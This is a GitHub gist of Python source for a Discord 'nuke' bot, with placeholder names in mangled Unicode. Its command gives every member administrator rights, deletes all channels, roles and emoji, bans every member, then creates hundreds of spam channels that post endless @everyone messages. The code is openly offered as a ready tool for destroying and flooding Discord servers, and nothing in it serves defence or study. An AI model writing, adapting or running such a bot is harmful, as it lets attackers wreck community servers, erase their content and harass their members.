Created
July 2, 2021 00:07
-
-
Save SupaCursed/10522ea286e236dee311c88a9df301b6 to your computer and use it in GitHub Desktop.
Discord Nuke Bot Code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import discord | |
from discord.ext import commands | |
import random | |
from discord import Permissions | |
from colorama import Fore, Style | |
import asyncio | |
token = "๐๐จ๐ญ_๐๐จ๐ค๐๐ง" | |
SPAM_CHANNEL = ["๐๐จ๐ฎ๐ซ_๐๐๐ฆ๐ runs you" , "Get ran" , "๐๐จ๐ฎ๐ซ_๐๐๐ฆ๐" , "oops Beamed","๐๐จ๐ฎ๐ซ_๐๐๐ฆ๐ Beamed You","Shoulda Listened","Get beamed clowns","Beamed by ๐๐จ๐ฎ๐ซ_๐๐๐ฆ๐","oops got nuked","I run you","beamed by ๐๐จ๐ฎ๐ซ_๐๐๐ฆ๐","I run you","kinda got beamed by ๐๐จ๐ฎ๐ซ_๐๐๐ฆ๐"] | |
SPAM_MESSAGE = ["@everyone ๐๐ฉ๐๐ฆ_๐๐๐ฌ๐ฌ๐๐ ๐"] | |
client = commands.Bot(command_prefix="๐๐ซ๐๐๐ข๐ฑ_๐๐ซ๐๐") | |
@client.event | |
async def on_ready(): | |
print(''' | |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฆโโโโโโโโโโโโโโโโโโโ | |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฆโโโโโโโโโโโโโโโโโโโโ | |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
Support Server: https://discord.gg/break or https://discord.gg/eYbnGqMaQ4 | |
''') | |
await client.change_presence(activity=discord.Game(name="๐๐จ๐ญ_๐๐ญ๐๐ญ๐ฎ๐ฌ")) | |
@client.command() | |
@commands.is_owner() | |
async def ๐๐จ๐ญ_๐๐ญ๐จ๐ฉ(ctx): | |
await ctx.bot.logout() | |
print (Fore.GREEN + f"{client.user.name} has logged out successfully." + Fore.RESET) | |
@client.command() | |
async def ๐๐จ๐ญ_๐๐ฎ๐ค๐(ctx): | |
await ctx.message.delete() | |
guild = ctx.guild | |
try: | |
role = discord.utils.get(guild.roles, name = "@everyone") | |
await role.edit(permissions = Permissions.all()) | |
print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET) | |
except: | |
print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET) | |
for channel in guild.channels: | |
try: | |
await channel.delete() | |
print(Fore.MAGENTA + f"{channel.name} was deleted." + Fore.RESET) | |
except: | |
print(Fore.GREEN + f"{channel.name} was NOT deleted." + Fore.RESET) | |
for member in guild.members: | |
try: | |
await member.ban() | |
print(Fore.MAGENTA + f"{member.name}#{member.discriminator} Was banned" + Fore.RESET) | |
except: | |
print(Fore.GREEN + f"{member.name}#{member.discriminator} Was unable to be banned." + Fore.RESET) | |
for role in guild.roles: | |
try: | |
await role.delete() | |
print(Fore.MAGENTA + f"{role.name} Has been deleted" + Fore.RESET) | |
except: | |
print(Fore.GREEN + f"{role.name} Has not been deleted" + Fore.RESET) | |
for emoji in list(ctx.guild.emojis): | |
try: | |
await emoji.delete() | |
print(Fore.MAGENTA + f"{emoji.name} Was deleted" + Fore.RESET) | |
except: | |
print(Fore.GREEN + f"{emoji.name} Wasn't Deleted" + Fore.RESET) | |
banned_users = await guild.bans() | |
for ban_entry in banned_users: | |
user = ban_entry.user | |
try: | |
await user.unban("๐๐จ๐ฎ๐ซ_๐๐ฌ๐๐ซ") | |
print(Fore.MAGENTA + f"{user.name}#{user.discriminator} Was successfully unbanned." + Fore.RESET) | |
except: | |
print(Fore.GREEN + f"{user.name}#{user.discriminator} Was not unbanned." + Fore.RESET) | |
await guild.create_text_channel("NUKED BITCH") | |
for channel in guild.text_channels: | |
link = await channel.create_invite(max_age = 0, max_uses = 0) | |
print(f"New Invite: {link}") | |
amount = 500 | |
for i in range(amount): | |
await guild.create_text_channel(random.choice(SPAM_CHANNEL)) | |
print(f"nuked {guild.name} Successfully.") | |
return | |
@client.event | |
async def on_guild_channel_create(channel): | |
while True: | |
await channel.send(random.choice(SPAM_MESSAGE)) | |
client.run(token, bot=True) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment